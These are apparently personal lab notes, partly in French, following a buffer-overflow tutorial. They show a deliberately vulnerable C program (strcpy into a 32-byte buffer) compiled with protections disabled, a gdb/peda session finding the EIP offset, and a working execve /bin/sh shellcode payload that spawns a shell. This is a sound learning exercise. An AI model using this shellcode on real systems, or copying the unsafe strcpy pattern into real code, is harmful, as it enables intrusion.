bufferOverflowPixisTut

#BOF pixis tut
https://www.youtube.com/watch?v=V7Gdc32XRhA

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *arg)
{
    char buffer[32];
    strcpy(buffer,arg);
    printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
    if(argc != 2) printf("binary \n");
    else func(argv[1]);
    return 0;
}

gcc -m32 -fno-stack-protector -z execstack test.c -w -g -o test
peda test
r $(perl -e 'print "A"x100')
--> seg fault
disass main
0x08048471 <+0>:     push   ebp
   0x08048472 <+1>:     mov    ebp,esp
   0x08048474 <+3>:     and    esp,0xfffffff0
   0x08048477 <+6>:     sub    esp,0x10
   0x0804847a <+9>:     cmp    DWORD PTR [ebp+0x8],0x2
   0x0804847e <+13>:    je     0x804848e <main+29>
   0x08048480 <+15>:    mov    DWORD PTR [esp],0x8048540
   0x08048487 <+22>:    call   0x8048330 <puts@plt>
   0x0804848c <+27>:    jmp    0x804849e <main+45>
   0x0804848e <+29>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048491 <+32>:    add    eax,0x4
   0x08048494 <+35>:    mov    eax,DWORD PTR [eax]
   0x08048496 <+37>:    mov    DWORD PTR [esp],eax
   0x08048499 <+40>:    call   0x804844c <func>
   0x0804849e <+45>:    mov    eax,0x0
   0x080484a3 <+50>:    leave
   0x080484a4 <+51>:    ret
disass func
0x0804844c <+0>:     push   ebp
   0x0804844d <+1>:     mov    ebp,esp
   0x0804844f <+3>:     sub    esp,0x38
   0x08048452 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x08048455 <+9>:     mov    DWORD PTR [esp+0x4],eax
   0x08048459 <+13>:    lea    eax,[ebp-0x28]
   0x0804845c <+16>:    mov    DWORD PTR [esp],eax
=> 0x0804845f <+19>:    call   0x8048320 <strcpy@plt>
   0x08048464 <+24>:    lea    eax,[ebp-0x28]
   0x08048467 <+27>:    mov    DWORD PTR [esp],eax
   0x0804846a <+30>:    call   0x8048330 <puts@plt>
   0x0804846f <+35>:    leave
   0x08048470 <+36>:    ret
b *0x0804844c #break 1ère ligne func
b *0x0804845f #strcpy dans func
r $(perl -e 'print "A"x100')
x/xw $esp
   0xbffffbec:     0x0804849e #0x0804849e est l'@ de retour qui deviendra $eip
x/4i 0x0804849e
   0x804849e <main+45>: mov    eax,0x0
   0x80484a3 <main+50>: leave
   0x80484a4 <main+51>: ret  #on retrouve cela dans disass main
   0x80484a5:   nop
c
dumpargs
   arg[0]: 0xbffffbc0 --> 0x0
   arg[1]: 0xbffffdd9 ('A' <repeats 100 times>)
p/d  0xbffffbec-0xbffffbc0 #@ debut buffer - @sauvegarde EIP
r $(perl -e 'print "A"x44 . "ABCD"')
c
c
   Stopped reason: SIGSEGV
   0x44434241 in ?? () #control du flux d'execution (1234)
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(44-23) . "ABCD"')
c
c
   Stopped reason: SIGSEGV
   0x44434241 in ?? () #control du flux d'execution (1234)
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(44-23) . "\xf0\xfb\xff\xbf"') #0xbffffbf0 @ où est stockée le contenu du buffer
c
c
process 11897 is executing new program: /bin/dash